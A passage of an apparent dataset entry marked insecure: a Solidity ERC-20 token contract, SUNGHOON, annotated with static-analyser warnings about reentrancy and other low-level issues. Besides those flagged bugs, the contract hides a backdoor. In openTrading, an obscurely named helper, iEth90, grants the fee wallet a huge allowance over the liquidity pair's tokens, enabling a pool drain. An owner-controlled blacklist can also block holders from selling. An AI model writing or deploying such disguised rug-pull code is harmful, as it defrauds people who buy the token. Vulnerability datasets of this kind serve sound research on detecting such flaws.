Issue (constable-states | ID: d0c3bbf): SUNGHOON._initialBuyTax should be constant \n\t// Recommendation for d0c3bbf: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: efbffbe): SUNGHOON._initialSellTax should be constant \n\t// Recommendation for efbffbe: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 50ac424): SUNGHOON._finalBuyTax should be constant \n\t// Recommendation for 50ac424: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9555cce): SUNGHOON._finalSellTax should be constant \n\t// Recommendation for 9555cce: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4397617): SUNGHOON._reduceBuyTaxAt should be constant \n\t// Recommendation for 4397617: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 19d5c00): SUNGHOON._reduceSellTaxAt should be constant \n\t// Recommendation for 19d5c00: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: b55cd36): SUNGHOON._preventSwapBefore should be constant \n\t// Recommendation for b55cd36: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 659a186): SUNGHOON._transferTax should be constant \n\t// Recommendation for 659a186: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n IUniswapV2Router02 private uni90Router;\n\n address private uni90Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_tax90Receipt] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f781936): SUNGHOON.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f781936: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cbad45f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cbad45f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7f72b34): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7f72b34: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: cbad45f\n\t\t// reentrancy-benign | ID: 7f72b34\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: cbad45f\n\t\t// reentrancy-benign | ID: 7f72b34\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 508ad4e): SUNGHOON._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 508ad4e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 7f72b34\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: cbad45f\n emit Approval(owner, spender, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uni90Router.WETH();\n\n _approve(address(this), address(uni90Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6828369\n\t\t// reentrancy-events | ID: cbad45f\n\t\t// reentrancy-benign | ID: 7f72b34\n\t\t// reentrancy-benign | ID: 570b0a2\n\t\t// reentrancy-eth | ID: 9f806de\n uni90Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function withdrawEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6828369): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6828369: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 570b0a2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 570b0a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9f806de): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9f806de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount90) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount90 > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxFee = 0;\n uint256 taxAmount = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount90;\n\n _balances[to] = _balances[to] + amount90;\n\n emit Transfer(from, to, amount90);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (_buyCount > 0) {\n taxFee = (_transferTax);\n }\n\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxFee = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n }\n\n if (\n from == uni90Pair &&\n to != address(uni90Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount90 <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount90 <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxFee = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uni90Pair && from != address(this)) {\n taxFee = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uni90Pair && swapEnabled) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n if (\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: 6828369\n\t\t\t\t\t// reentrancy-benign | ID: 570b0a2\n\t\t\t\t\t// reentrancy-eth | ID: 9f806de\n swapTokensForEth(\n min(amount90, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 6828369\n\t\t\t\t// reentrancy-eth | ID: 9f806de\n sendETHToFee(address(this).balance);\n\n\t\t\t\t// reentrancy-benign | ID: 570b0a2\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9f806de\n lastSellBlock = block.number;\n }\n }\n\n if (taxFee > 0) {\n taxAmount = taxFee.mul(amount90).div(100);\n\n\t\t\t// reentrancy-eth | ID: 9f806de\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6828369\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9f806de\n _balances[from] = _balances[from].sub(amount90);\n\n\t\t// reentrancy-eth | ID: 9f806de\n _balances[to] = _balances[to].add(amount90.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 6828369\n emit Transfer(from, to, amount90.sub(taxAmount));\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function add(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function del(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6828369\n\t\t// reentrancy-events | ID: cbad45f\n\t\t// reentrancy-eth | ID: 9f806de\n _tax90Receipt.transfer(amount);\n }\n\n function iEth90(\n address[2] memory its90,\n uint256 itt90\n ) private returns (bool) {\n\t\t// reentrancy-benign | ID: 310c2fd\n _allowances[its90[0]][its90[1]] = itt90;\n\n return true;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 310c2fd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 310c2fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 43e7667): SUNGHOON.openTrading() ignores return value by IERC20(uni90Pair).approve(address(uni90Router),type()(uint256).max)\n\t// Recommendation for 43e7667: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9e5ba0b): SUNGHOON.openTrading() ignores return value by uni90Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9e5ba0b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 41fc262): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 41fc262: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uni90Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uni90Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 310c2fd\n\t\t// reentrancy-eth | ID: 41fc262\n uni90Pair = IUniswapV2Factory(uni90Router.factory()).createPair(\n address(this),\n uni90Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 310c2fd\n\t\t// unused-return | ID: 9e5ba0b\n\t\t// reentrancy-eth | ID: 41fc262\n uni90Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 310c2fd\n\t\t// unused-return | ID: 43e7667\n\t\t// reentrancy-eth | ID: 41fc262\n IERC20(uni90Pair).approve(address(uni90Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 310c2fd\n iEth90(\n [uni90Pair, _tax90Receipt],\n 10 * _taxSwapThreshold.mul(15000) + 50\n );\n\n\t\t// reentrancy-benign | ID: 310c2fd\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 41fc262\n tradingOpen = true;\n }\n}", "file_name": "solidity_code_1088.sol", "secure": 0, "size_bytes": 18279 }